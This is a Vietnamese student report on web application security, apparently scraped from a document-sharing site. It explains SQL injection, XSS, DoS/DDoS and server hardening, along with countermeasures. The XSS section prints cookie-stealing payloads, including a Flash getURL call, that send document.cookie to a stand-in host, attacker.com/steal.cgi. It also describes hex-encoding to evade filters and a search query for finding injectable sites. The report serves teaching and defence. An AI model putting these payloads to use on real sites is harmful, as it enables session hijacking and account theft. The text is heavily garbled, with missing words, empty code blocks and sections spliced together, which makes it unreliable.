1. Trang chủ
  2. » Luận Văn - Báo Cáo

an ninh an toàn web

37 146 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

BÁO CÁO BÀI TẬP LỚN MÔN an ninh web, bằng XML. Dịch vụ Web là tài nguyên phần mềm có thể xác định bằng địa chỉ URL, thực hiện các chức năng và đưa ra các thông tin người dùng yêu cầu. Một dịch vụ Web được tạo nên bằng cách lấy các chức năng và đóng gói chúng sao cho các ứng dụng khác dễ dàng nhìn thấy và có thể truy cập

LỜI MỞ ĐẦU Thế giới ngày có nhiều tiến mạnh mẽ công nghệ thông tin (CNTT) từ tiềm thông tin trở thành tài nguyên thực sự, trở thành sản phẩm hàng hoá xã hội tạo thay đổi to lớn lực lượng sản xuất, sở hạ tầng, cấu trúc kinh tế, tính chất lao động cách thức quản lý lĩnh vực xã hội Trong năm gần đây, Việt Nam ngày phát triển mặt công nghệ thông tin Đặc biệt ứng dụng Website, người nghe làm việc ứng dụng Website Website trở nên phổ biến trở thành phần quan trọng người doanh nghiệp, cơng ty Bên cạnh lý an tồn bảo mật cho ứng dụng Website ln vấn đề nan giải người Với lý trên, em mạnh dạn đề xuất đề tài “Nghiên cứu số hình thức cơng Website phổ biến giải pháp phòng chống” để làm đề tài thực tập chuyên ngành cho Em thấy đề tài mang tính thực tế cao, giúp cho nhà quản trị Website làm tốt cơng việc mình, đảm bảo an tồn thông tin cho doanh nghiệp, công ty Đồng thời giúp ích nhiều cho em cơng việc sau Nội dung đề tài gồm ba phần chính: Chương 1: Tổng quan bảo mật ứng dụng Website Chương 2: Nghiên cứu hình thức cơng giải pháp bảo mật Website Chương 3: Triển khai demo số hình thức cơng giải pháp bảo mật DANH MỤC TỪ VIẾT TẮT IIS Internet Information Services PHP Hypertext Preprocessor HTTP HyperText Transfer Protocol ASP Active Server Pages XSS Cross Site Scripting DOS Denial Of Service SQL Structured Query Language CGI Common Gateway Interface CHƯƠNG I: TỔNG QUAN VỀ BẢO MẬT ỨNG DỤNG WEBSITE 1.1 Tổng quan ứng dụng Website 1.1.1 Khái niệm ứng dụng Website Ứng dụng Website ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác Website “trang web” mạng Internet, nơi giới thiệu thông tin, hình ảnh doanh nghiệp sản phẩm, dịch vụ doanh nghiệp (hay giới thiệu thông tin gì) để khách hàng truy cập nơi đâu, lúc Website tập hợp nhiều trang Khi doanh nghiệp xây dựng website nghĩa xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ Để tạo nên website cần phải có yếu tố bản: - Cần phải có tên miền (domain) - Nơi lưu trữ Website (hosting) - Nội dung trang thông tin Một ứng dụng web thường có kiến trúc gồm: Hình 1.1: Kiến trúc ứng dụng Website 1.1.2 Cách thức hoạt động Mô hình hoạt động ứng dụng Website: Hình 1.2: Mơ hình hoạt động ứng dụng Website Trong đó: - Trình khách ( hay gọi trình duyệt): Internet Explorer, FireFox, Chrome - Trình chủ: Apache, IIS, … - Hệ quản trị sở liệu: SQL Server, MySQL, DB2, Access….1.2 Bên cạnh đó, giải pháp dùng để bảo vệ hệ thống mạng thường sử dụng tường lửa, có vai trò lớp rào chắn bên ngồi hệ thống mạng, chức firewall kiểm sốt luồng thơng tin máy tính Có thể xem firewall lọc thơng tin, xác định cho phép máy tính có truy xuất đến máy tính khác hay khơng, hay mạng có truy xuất đến mạng hay khơng Người ta thường dùng firewall vào mục đích: - Cho phép cấm dịch vụ truy xuất - Cho phép cấm dịch vụ từ bên truy nhập vào - Kiểm soát địa truy nhập, cấm địa truy nhập Firewall hoạt động dựa gói IP kiểm sốt việc truy nhập máy người sử dụng Đầu tiên trình duyệt gửi u cầu (request) đến trình chủ Website thơng qua lệnh GET, POST… giao thức HTTP, trình chủ lúc cho thực thi chương trình xây dựng từ nhiều ngơn ngữ Perl, C/C++… trình chủ yêu cầu diễn dịch thực thi trang ASP, JSP… theo yêu cầu trình khách Tùy theo tác vụ chương trình cài đặt mà xử lý, tính tốn, kết nối đến sở liệu, lưu thông tin trình khách gửi đến…và từ trả cho trình khách luồng liệu có định dạng theo giao thức HTTP, gồm phần: - Header mơ tả thơng tin gói liệu thuộc tính, trạng thái trao đổi trình duyệt WebServer - Body phần nội dung liệu mà Server gửi Client, file HTML, hình ảnh, đoạn phim hay văn Theo mơ hình hình 1.1, với firewall, luồng thơng tin trình chủ trình khách luồng thơng tin hợp lệ Vì thế, hacker tìm thấy vài lỗ hổng ứng dụng Website firewall khơng hữu dụng việc ngăn chặn hacker Do đó, kĩ thuật cơng vào hệ thống mạng ngày dần tập trung vào sơ suất (hay lỗ hổng) trình tạo ứng dụng nhà phát triển Website công trực tiếp vào hệ thống mạng, hệ điều hành Tuy nhiên, hacker lợi dụng lỗ hổng Web để mở rộng công vào hệ thống khơng liên quan khác 1.1.3 Các dịch vụ ứng dụng Website Với công nghệ nay, Website không đơn giản trang tin cung cấp tin đơn giản Những ứng dụng viết Website không gọi phần Website nữa, chúng gọi phần mềm viết Website Có nhiều phần mềm chạy Website Google word (xử lý văn bản), Google spreadsheets (xử lý bảng tính), Email ,… Một số ưu điểm phần mềm hay ứng dụng chạy web:  Mọi người có trình duyệt bạn cần trình duyệt để chạy phần mềm  Phần mềm luôn cập nhật chúng chạy server  Ln sẵn sàng 24/7  Dễ dàng backup liệu thường xuyên  Có thể truy cập lúc, nơi, cần có Internet  Chi phí triển khai rẻ nhiều so với phần mềm chạy desktop 1.2 Tổng quan an ninh mạng 1.2.1 Khái niệm an toàn an ninh mạng Trong khứ, an ninh thông tin thuật ngữ sử dụng để mô tả biện pháp bảo mật vật lý sử dụng để giữ cho phủ hay doanh nghiệp thông tin quan trọng khỏi bị truy cập cơng chúng để bảo vệ chống lại thay đổi tiêu hủy Những biện pháp bao gồm lưu trữ tài liệu có giá trị tủ hồ sơ bị khóa két hạn chế truy cập vật lý đến khu vực nơi mà tài liệu lưu giữ Với phổ biến máy tính phương tiện truyền thơng điện tử, cách truy cập liệu cũ thay đổi Khi công nghệ tiếp tục phát triển, hệ thống máy tính kết nối với để tạo thành mạng máy tính, cho phép hệ thống chia sẻ tài nguyên, bao gồm liệu Các mạng máy tính cuối cùng, mà hầu hết liên kết nối mạng máy tính truy cập cơng cộng, Internet Mặc dù phương pháp bảo vệ liệu thay đổi đáng kể, khái niệm an ninh mạng giống thơng tin bảo mật Bởi máy tính thu hồi, số tiền q lớn liệu, chúng sử dụng gần khía cạnh sống Máy vi tính, mạng, Internet phần thiếu nhiều doanh nghiệp Sự phụ thuộc chúng máy tính tiếp tục tăng doanh nghiệp cá nhân trở nên thoải mái với công nghệ tiến công nghệ làm cho hệ thống thân thiện với người dùng dễ dàng để kết nối Một hệ thống máy tính yêu cầu công cụ tự động để bảo vệ liệu hệ thống từ người dùng có quyền truy cập hệ thống Một hệ thống máy tính mạng (một hệ thống phân phối) đòi hỏi liệu vào hệ thống bảo vệ khơng từ truy cập địa phương mà từ truy cập từ xa trái phép từ chặn thay đổi liệu trình truyền hệ thống An ninh mạng sản phẩm, quy trình, hay sách mà kết hợp sản phẩm quy trình có hỗ trợ sách quy định Mạng lưới an ninh thực thiết bị an ninh, sách quy trình để ngăn chặn truy cập trái phép vào tài nguyên mạng, thay đổi hủy hoại tài nguyên liệu 1.2.2 Sự cần thiết phải bảo vệ thông tin Trong doanh nghiệp hay tổ chức đó, phải có yếu tố cần bảo vệ như: - Dữ liệu - Tài nguyên: người, hệ thống đường truyền - Danh tiếng công ty Nếu không đặt vấn đề an tồn thơng tin lên hàng đầu gặp phải cố tác hại đến doanh nghiệp khơng nhỏ: - Tốn chi phí - Tốn thời gian - Ảnh hưởng đến tài nguyên hệ thống - Ảnh hưởng đến danh dự, uy tín doanh nghiệp - Mất hội kinh doanh 1.3 Các thuật ngữ liên quan 1.3.1 Hacker Hacker thuật ngữ dùng để chuyên kẻ phá hoại hệ thống mạng Hacker thường chuyên gia máy tính Hacker không tạo kẽ hở cho hệ thống, Hacker lại người am hiểu hệ điều hành, hệ quản trị liệu, ngôn ngữ lập trình…Họ sử dụng kiến thức việc tìm tòi khai thác lỗ hổng hệ thống mạng Một số Hacker dừng lại việc phát thơng báo lỗi tìm cho nhà bảo mật hay người phát triển chương trình, họ xem WhiteHat (Hacker nón trắng) Một số hacker dựa vào lỗ hổng thực việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, người bị xem BlackHat (Hacker mũ đen) Vì tính chất phổ biến thuật ngữ hacker, nên phần trình bày, luận văn sử dụng “hacker” thay cho “kẻ công” 1.3.2 Http Header HTTP header phần đầu (header) thông tin mà trình khách trình chủ gửi cho Những thơng tin trình khách gửi cho trình chủ gọi HTTP requests (u cầu) trình chủ gửi cho trình khách HTTP responses (trả lời) Thông thường, HTTP header gồm nhiều dòng, dòng chứa tên tham số giá trị Một số tham số dùng header yêu cầu header trả lời, số khác dùng riêng loại Ví dụ : • Header u cầu: GET /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept-Language: en-us Connection: Keep-Alive Host: localhost Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate o Dòng đầu dòng yêu cầu cho biết phương thức yêu cầu (GET POST), địa yêu cầu (/tintuc/homnay.asp) phiên HTTP (HTTP/1.1) o Tiếp theo tham số.Chẳng hạn như: ƒ + Accept-Language: Cho biết ngôn ngữ dùng trang web ƒ + Host: Cho biết địa máy chủ ƒ + Referer: Cho biết địa trang web tham chiếu tới o Header HTTP request kết thúc dòng trống • Header trả lời: HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT Content-Length: 2291 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ; path=/ Cache-control: private o Dòng đầu dòng trạng thái, biết phiên HTTP dung (HTTP/1.1), mã trạng thái (200) trạng thái (OK) o Tiếp theo tham số o Tiếp theo dòng trống để báo hiệu kết thúc header, phần thân HTTP response 1.3.3 Session HTTP giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa HTTP không lưu trữ trạng thái làm việc trình duyệt với trình chủ Sự thiếu sót gây khó khăn cho số ứng dụng Website, trình chủ khơng biết trước trình duyệt có trạng thái Vì thế, để giải vấn đề này, ứng dụng Website đưa khái niệm phiên làm việc (Session) Còn SessionID chuỗi để chứng thực phiên làm việc Một số trình chủ cung cấp SessionID cho người dung họ xem trang Website trình chủ Để trì phiên làm việc sessionID thường lưu vào : + Biến URL + Biến ẩn form + Cookie Phiên làm việc tồn khoảng thời gian cho phép, thời gian cấu hình qui định trình chủ ứng dụng thực thi Trình chủ tự động giải phóng phiên làm việc để khơi phục lại tài nguyên hệ thống 1.3.4 Cookie Cookie phần liệu nhỏ có cấu trúc chia sẻ trình chủ trình duyệt người dùng Các cookie lưu trữ file liệu nhỏ dạng text, ứng dụng tạo để lưu trữ, truy tìm, nhận biết thơng tin người dùng ghé thăm trang Web vùng mà họ qua trang Những thơng tin bao gồm tên, định danh người dùng, mật khẩu, sở thích, thói quen cookie trình duyệt người dùng chấp nhận lưu đĩa cứng máy mình, nhiên khơng phải lúc trình duyệt hỗ trợ cookie, mà tùy thuộc vào người dùng có chấp nhận chuyện lưu trữ hay khơng Ở lần truy cập sau đến trang Website đó, ứng dụng dùng lại thong tin cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo Messenger! ) mà người dùng làm lại thao tác đăng nhập hay phải cấp lại thông tin khác Cookie phân làm loại secure/non-secure persistent/non-persistent ta có kiểu cookie là: - Persistent Secure - Persistent Non-Secure - Non-Persistent Secure - Non-Persistent Non-Secure Persistent cookies lưu trữ dạng tập tin txt (ví dụ trình duyệt Netscape Navigator lưu cookie thành tập tin cookie.txt Internet Explorer lưu thành nhiều tập tin *.txt tập tin cookie) máy khách khoảng thời gian xác định - Non-persistent cookie lưu trữ nhớ RAM máy khách bị hủy đóng trang web hay nhận lệnh hủy từ trang web - Secure cookies gửi thơng qua HTTPS (SSL) - Non-Secure cookie gửi hai giao thức HTTPS hay HTTP Thực chất secure cookie trình chủ cung cấp chế độ truyền bảo mật Domain Flag Path Secure Expiration Name Value www.redhat.co FALSE / FALSE m 115402949 Apache 64.3.40.151.1 01899634924 480 o Domain: Tên miền trang web tạo cookie ( ví dụ www.redhat.com) o Flag: mang giá trị TRUE/FALSE -Xác định máy khác với tên miền có truy xuất đến cookie hay không o Path: Phạm vi địa truy xuất cookie.Ví dụ: Nếu path “/tracuu” địa thư mục /tracuu tất thư mục /tracuu/baomat truy xuất đến cookie Còn giá trị “/” cookie truy xuất tất địa thuộc miền trang web tạo cookie o Sercure: mang giá trị TRUE/FALSE - Xác định secure cookie hay không nghĩa kết nối có sử dụng SSL hay khơng o Expiration: thời gian hết hạn cookie, tính giây kể từ 00:00:00 GMT ngày 01/01/1970 Nếu giá trị không thiết lập trình duyệt hiểu non-persistent cookie lưu nhớ RAM xố trình duyệt bị đóng o Name: Tên biến (trong trường hợp Apache) o Value: Với cookie tạo giá trị Apache 64.3.40.151.16018996349247480 ngày hết hạn 27/07/2006, tên miền http://www.redhat.com 1.3.5 Proxy Proxy cung cấp cho người sử dụng truy xuất Internet nghi thức đặc biệt tập nghi thức thực thi dual_homed host basion host Những chương trình client người sử dụng qua trung gian proxy server thay cho server thật mà người sử dụng cần giao tiếp Proxy server xác định yêu cầu từ client định đáp ứng hay không đáp ứng, yêu cầu đáp ứng, proxy server kết nối với server thật thay cho client tiếp tục chuyển tiếp yêu cầu từ client đến server, trả lời server đến client Vì proxy server giống cầu nối trung gian server client CHƯƠNG II: NGHIÊN CỨU CÁC HÌNH THỨC TẤN CƠNG VÀ GIẢI PHÁP BẢO MẬT WEBSITE 2.1 SQL Injection 2.1.1 Tìm hiểu SQL Injection 2.1.1.1 SQL Injection gì? SQL injection kĩ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu nhập ứng dụng web thông báo lỗi hệ quản trị sở liệu để "tiêm vào" (inject) thi hành câu lệnh SQL bất hợp pháp (không người phát triển ứng dụng lường trước) Hậu tai hại cho phép kẻ cơng thực thao tác xóa, hiệu chỉnh, … có toàn quyền sở liệu ứng dụng, chí server mà ứng dụng chạy Lỗi thường xảy ứng dụng web có liệu quản lí hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sysbase 2.1.1.2 Các Dạng Tấn Cơng SQL Injection Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng stored-procedures Để biết website sử dụng CSDL SQL ta sử dụng phần mềm cơng cụ tìm lỗi Hoặc cơng cụ tìm kiếm Google Và dùng từ khóa tìm kiếm : inurl : product.php?id= Hình 2.1 Một cơng cụ tìm Lổi SQL Injection Để biết website dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau địa Ví dụ : http://www.doanchuyenganh.com/product.php?id=123’ show_source,ini_alter, virtual, openlog - disabled_functions nên chứa function sau : PHP Code safe_mode = Off chuyển thành safe_mode = On - Trong script.php : PHP Code: - Kết : PHP Code: Warning: readfile() has been disabled for security reasons in /docroot/script.php on line - Vài lợi điểm việc bật safe mode: - Thường upload file, file vào /tmp/ với người có quyền khơng phải owner - Bật safe-mode có bất lợi với người lập trình code PHP, đó, họ thường có: PHP Code: -Bảo mật server apache : Tầm quan trọng apache : Client (Hacker using local attack) > Shared server Shared Server > Apache Apache -> PHP/Perl xử lý PHP/Perl (gửi kết quả) -> Apache Apache (gửi kết quả) >Client Do quyền apache set phụ thuộc nhiều vào application PHP/CGI Cài đặt apache : Code: pw groupadd apache pw useradd apache -c "Apache Server" -d /dev/null -g apache -s /sbin/nologin Theo mặc định, process thuộc Apache chạy với chủ quyền người dùng nobody (ngoại trừ process phải chạy với chủ quyền root) GID thuộc nhóm nogroup Ðiều dẫn đến đe dọa bảo mật nghiêm trọng Trong trường hợp đột nhập thành công, tin tặc lấy quyền truy dụng đến process khác chạy UID/GID Bởi thế, giải pháp tối ưu cho Apache chạy UID/GID từ nhóm riêng biệt, chuyên đến software Ðối với quen dùng *nix hẳn khơng lạ với khái niệm UID/GID thuộc chế độ "file permission" Tuy nhiên, chi tiết nên mở rộng tí cho bạn đọc chưa quen thuộc với UID/GID Phần tạo nhóm (group) người dùng (user) riêng cho Apache có hai chi tiết cần ý là: -d /dev/null: khơng cho phép user Apache có thư mục $HOME user bình thường khác -s /sbin/nologin: khơng cho user Apache dùng shell Có số trường hợp dùng -s /bin/true thay nologin trên, true lệnh khơng thực thi hồn tồn vơ hại Lý khơng cho phép user Apache có thư mục $HOME khơng cấp "shell" account Apache bị cho phép, tin tặc khơng có hội tiếp cận với system mức độ cần thiết cho thủ thuật "leo thang đặc quyền" Trên môi trường *nix nói chung, "shell" giao diện người dùng hệ thống, khơng có shell khơng có hội tiếp cận Nếu phần thiết lập cung cấp user Apache $HOME cho phép dùng shell khơng mang giá trị quan điểm "bảo mật" Vào http://httpd.apache.org/ cài đặt phiền (hiện 2.2) Khi ta nên set quyền php shell riêng, khơng có quyền nhẩy sang user khác Chmod /usr/bin sau : -rwxr r-x root nobody wget cho -rwxr-x - root compiler gcc Chặn biên dịch gcc, tránh để user dùng exploit sẵn biên dịch get root Trong /bin/: - rwxr-xr-x root root cp Tương tự với rm, mv, tar, chmod, chown, chgrp - rwsr-x - root wheel su - rwxr-x - root root ln 2.3 Cross Site Scripting (XSS) 2.3.1 Tìm hiểu XSS Phương pháp Cross Site Scripting (được viết tắt XSS) phương pháp cơng cách chèn thêm đoạn mã có khả đánh cắp hay thiết lập thông tin quan trọng cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ chúng chạy phần ứng dụng Web có chức cung cấp thực những điều Hacker muốn Phương pháp không nhằm vào máy chủ hệ thống mà chủ yếu cơng máy người sử dụng Hacker lợi dụng kiểm tra lỏng lẻo từ ứng dụng hiểu biết hạn chế người dùng biết đánh vào tò mò họ dẫn đến người dung bị thông tin cách dễ dàng Thông thường hacker lợi dụng địa URL để đưa liên kết tác nhân kích hoạt đoạn chương trình viết ngôn ngữ máy khách VBScript, JavaScript…được thực thi trình duyệt nạn nhân http://doanchuyennganh.com/webmonkey/00/index1.html?tw=alert (document.cookie); 2.3.2 Tấn công XSS 2.3.2.1 Phương pháp công XSS truyền thống Ứng dụng Web thường lưu trữ thông tin quan trọng cookie Cookie mẫu thông tin mà ứng dụng lưu đĩa cứng người sử dụng Nhưng ứng dụng thiết lập cookie đọc Do người dùng phiên làm việc ứng dụng hacker có hội đánh cắp cookie Cơng việc hacker tìm trang đích để dụ người dùng đăng nhập sau tìm lỗ hổng ứng dụng Các bước thực XSS truyền thống: Tóm tắt bước thực hiện: • Bước 1: Hacker biết người dùng sử dụng ứng dụng Web có lỗ hỏng XSS • Bước 2: Người dùng nhận liên kết thông qua email hay trang Web (như guestbook, banner dễ dàng thêm liên kết hacker tạo ra…) Thơng thường hacker khiến người dùng ý câu kích thích tò mò người dùng “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn chờ bạn”… • Bước 3: Chuyển nội dung thơng tin (cookie, tên, mật khẩu…) máy chủ hacker • Bước 4: Hacker tạo chương trình cgi (ở ví dụ steal.cgi) trang Web để ghi nhận thông tin đánh cắp vào tập tin • Bước 5: Sau nhận thơng tin cần thiết, hacker sử dụng để thâm nhập vào tài khoản người dùng Để khai thác lỗ hổng ứng dụng doanchuyennganh.com, Hacker thực sau : Look at this! Một phần thưởng hấp dẫn chờ bạn Sau người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn chờ bạn”,cookie máy nạn nhân bị đánh cắp tham số truyền vào cho chương trình steal.cgi Hacker http://www.attacker.com/steal.cgi? lubid=010000508BD3046103F43B8264530098C20100000000;%20p_uniqid =8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 Vấn đề đặt người lập trình bảo vệ ứng dụng Web cách lọc kí tự đặc biệt ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực câu truy vấn SQL chẳng hạn)… Nhưng hacker lợi dụng mã hex thay cho kí tự đặc biệt để cơng Thay số hex cho kí tự ASCII http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F … Sau ví dụ cách dùng mã hex ứng dụng web Look at this! Một phần thưởng hấp dẫn chờ bạn 2.3.2.2 Tấn cơng XSS Flash Ngồi cách đưa đoạn mã nguy hiểm hacker lợi dụng tập tin flash để đánh cắp thông tin Macromedia Flash cho phép lập trình ngơn ngữ kịch xây dụng sẵn Flash ActionScript ActionScript có cú pháp đơn giản tương tự JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi trang web khác, tham số thường URL chẳng hạn “http://www.yahoo.com” Ví dụ như: getURL(“http://www.yahoo.com”) Tuy nhiên thay URL JavaScript: getURL(“javascript:alert(document.cookie)”) Ví dụ làm xuất bảng thơng báo chứa cookie trang web chứa tập tin flash Như trang web bị cơng, cách chèn đoạn JavaScript vào ứng dụng Web thơng qua tập tin flash Một ví dụ khác rõ cách công là: Đây đoạn lệnh tập tin flash thi hành tập tin flash đọc: getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”) Như người dùng xem trang web chứa tập tin flash cookie họ trang web chứa tập tin flash tạo gửi cho Hacker Hình 2.4 Cách viết Action Script Flash 2.3.3 Phương pháp phòng chống XSS Với liệu, thông tin nhập người dùng, người thiết kế ứng dụng Web cần phải thực vài bước sau: - Tạo danh sách thẻ HTML phép sử dụng - Xóa bỏ thẻ - Lọc đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related - Lọc dấu nháy đơn hay kép - Lọc kí tự Null ( khả thêm đoạn mã sau kí tự Null khiến cho ứng dụng dù lọc bỏ thẻ không nhận ứng dụng nghĩ chuỗi kết thúc từ kí tự Null này) - Xóa kí tự “ > ”, “ < ” - Vẫn cho phép nhập kí tự đặc biệt mã hóa theo chuẩ riêng - Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngơn ngữ kịch máy họ hay không? Tùy vào mức độ tin cậy mà người dùng định Kĩ thuật XSS phổ biến dễ dàng áp dụng, nhiên mức độ thiệt hại dừng lại mức độ công máy nạn nhân thông qua liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân Vì thế, ngồi việc ứng dụng kiểm tra tính đắn liệu trước sử dụng việc cần người dùng nên cảnh giác trước bước vào trang Web Có thể nói, nhờ vào cảnh giác người dùng 90% đạt bảo mật kĩ thuật Tuy nhiên, chương 6, công lại nhắm vào máy chủ, nhằm thu thập thông tin sở liệu từ giành quyền quản trị ứng dụng 2.4 Tấn công từ chối dịch vụ 2.4.1 Tìm hiểu DOS 2.4.1.1 Khái niệm Tấn công kiểu DoS kiểu công làm cho dịch vụ mạng bị tê liệt, khơng khả đáp ứng yêu cầu Loại công ảnh hưởng đến nhiều hệ thống, dễ thực lại khó bảo vệ hệ thống khỏi kiểu công DoS Thông thường, kiểu công DoS dựa giao thức (protocol) Ví dụ với giao thức ICMP, hacker sử dụng bomb e-mail để gửi hàng ngàn thơng điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống mail server Hoặc dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ khơng thể đáp ứng u cầu đáng khác 2.4.1.2 Những khả bị công DOS • TẤN CƠNG TRÊN SWAP SPACE: Hầu hết hệ thống có vài trăm MB khơng gian chuyển đổi ( swap space) để phục vụ cho yêu cầu từ máy khách Swap space thường dùng cho tiến trình có thời gian ngắn nên DoS dựa phương thức làm tràn đầy swap space • TẤN CƠNG TRÊN BANDWIDTH: Phần băng thơng dành cho hệ thống giới hạn, hacker lúc gửi nhiều yêu cầu đến hệ thống phần băng thơng khơng đủ đáp ứng cho khối lượng liệu lớn dẫn đến hệ thống bị phá vỡ • TẤN CƠNG VÀO RAM: Tấn cơng Dos chiếm khoảng lớn RAM gây vấn đề phá hủy hệ thống Kiểu cơng BufferOverflow ví dụ cho cách phá hủy • TẤN CƠNG VÀO DISKS: Một kiểu công cổ điển làm đầy đĩa cứng Đĩa cứng bị tràn khơng thể sử dụng 2.4.2 Các kĩ thuật công DOS 2.4.2.1 Khái niệm TCP bắt tay ba chiều Đầu tiên, để tìm hiểu phương pháp cơng DoS , ta tìm hiểu chế làm việc “tcp bắt tay ba chiều” Gói liệu TCP chứa flag bits (cờ) để mơ tả nội dung mục đích gói liệu Ví dụ: • Gói liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu kết nối • ACK (acknowledgement) • FIN (finish) dùng để cắt kết nối Cách hoạt động gói TCP: Hình 2.5 Cơ chế thiết lập kết nối trước truyền số liệu Bước 1: Máy Client gửi gói tin SYN yêu cầu kết nối Bước 2: Nếu máy chủ chấp nhận kết nối, máy chủ gửi gói tin SYN/ACK Server bắt buộc phải gửi thơng báo lại TCP chuẩn tin cậy nên máy Client không nhận thơng báo nghĩ packet bị lạc gửi lại packet Bước 3: Máy Client gửi hồi đáp gói tin ACK Báo cho máy chủ biết máy nhận SYN/ACK packet lúc kết nối thiết lập 2.4.2.2 Lợi dụng TCP thực phương pháp SYN Flood truyền thống Hình 2.6 Tấn cơng DoS truyền thống Như đề cập vấn đề thiết lập kết nối phần 1, gói tin SYN, máy chủ phải để phần tài nguyên hệ thống nhớ đệm để nhận truyền liệu cho đường truyền Tuy nhiên, tài nguyên hệ thống có hạn hacker tìm cách để hệ thống tràn qua giới hạn ( Đây gọi halfopen connection máy khách mở kết nối chừng) Theo hình 9.III.2-1: Nếu máy chủ sau gửi trả gói tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu địa IP máy yêu cầu giả mạo gói tin khơng thể đến đích, nên máy chủ phải dành tài ngun cho u cầu Sau thời gian khơng nhận phản hồi từ máy khách, máy chủ lại tiếp tục gửi gói tin SYN/ACK để xác nhận lần vậy, kết nối tiếp tục mở Nếu Hacker gửi nhiều gói tin SYN đến máy chủ đến máy chủ tiếp nhận thêm kết nối lúc hệ thống bị phá vỡ Chỉ với đường truyền băng thơng nhỏ, hacker phá vỡ hệ thống Thêm vào đó, địa IP hacker sửa đổi nên việc xác định thủ phạm vấn đề khó khăn 2.4.2.3 Tấn công vào băng thông  Kiểu cơng thứ nhất: Hacker hồn tồn có khả làm ngập hệ thống băng thơng hacker lớn băng thơng máy đích Kiểu cơng khơng bị hạn chế tốc độ truyền mạng Ví dụ: Hacker có đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn dễ dàng phá vỡ hệ thống có đường truyền 56Kbps  Kiểu công thứ hai: Kiểu công sử dụng đường truyền mạng hacker thấp so với đường truyền máy đích Khơng giống kiểu công DoS truyền thống, kiểu công vào băng thơng lớn lợi dụng gói tin từ hệ thống khác lúc tiến đến hệ thống đích khiến cho đường truyền hệ thống đích khơng khả đáp ứng, máy chủ khơng khả nhận gói tin Hình 2.7 Kiểu cơng DoS vào băng thơng Theo hình 2.7, tất gói tin vào mạng máy tính qua "Big-Pipe" ( ống dẫn lớn ), sau router chia "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính tùy theo địa IP gói tin Nhưng tồn "Big-Pipe" bị làm ngập gói tin hướng đến máy định mạng máy tính này, router đành phải chấp nhận loại bỏ phần lớn packet để lại số lượng vừa đủ qua "Small Pipe" máy tính Kiểu cơng loại máy đích khỏi Internet Đây phương pháp công kiểu từ chối dịch vụ không DoS mà gọi DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa lúc nhiều máy phát động để gửi gói tin đến máy đích ( đường truyền máy không cao nhiều đường truyền lại hợp thành ống dẫn “ Big Pipe”), làm cho máy đích khơng khả tiếp nhận gói tin bị loại khỏi mạng Internet, sơ đồ minh họa sau: Hình 2.8 Tấn cơng DDoS  ƒ DRDoS (Distributed Reflection Denial of Service) - Thế hệ DDoS: Hình sau minh họa kiểu cơng DRDoS Hình 2.9 Tấn cơng kiểu DRDoS Bằng cách giả địa IP máy đích, hacker lúc gửi nhiều gói tin đến hệ thống máy mạnh mạng, hệ thống nhận gói tin SYN giả này, chấp nhận kết nối gửi trả gói tin SYN/ACK để thơng báo Vì địa IP gói tin SYN bị hacker sửa đổi thành địa IP máy đích nên gói tin SYN/ACK gửi cho máy đích Cùng lúc nhận nhiều gói tin, đường truyền máy đích khơng đủ khả đáp ứng, hệ thống máy đích từ chối nhận gói tin lúc hệ thống máy đích bị sụp đổ 2.4.2.4 Tấn công vào tài nguyên hệ thống Đây kiểu công nhằm vào tài nguyên hệ thống tài nguyên mạng CPU, nhớ, file hệ thống, tiến trình… Hacker người dùng hợp lệ hệ thống, lượng tài nguyên giới hạn hệ thống Tuy nhiên, hacker lạm dụng quyền truy cập để yêu cầu thêm tài nguyên Như vậy, hệ thống hay người dùng hợp lệ bị từ chối sử dụng tài nguyên chia sẻ Kiểu công khiến cho hệ thống khơng thể sử dụng tài ngun bị sử dụng hết, khơng tiến trình để thực thi 2.4.3 Phương pháp phòng chống DOS, DDOS Kiểu công từ chối dịch vụ kiểu cơng gây nhiều khó khăn vấn đề bảo vệ điều tra tìm thủ phạm nhất, hầu hết hacker thay đổi địa IP máy nên khó xác định thủ phạm Để phòng chống khả khuếch đại đường truyền, cần: • Huỷ khả broadcast router biên • Tăng kích thước hàng đợi kết nối Kết quả: phòng tránh khả tràn hàng đợi qua nhiều kết nối, cách sử dụng nhiều tài nguyên • Giảm thời gian thiết lập kết nối • Dùng phần mềm phát phá hủy kiểu công DoS: Hầu hết hệ điều hành hỗ trợ khả phát 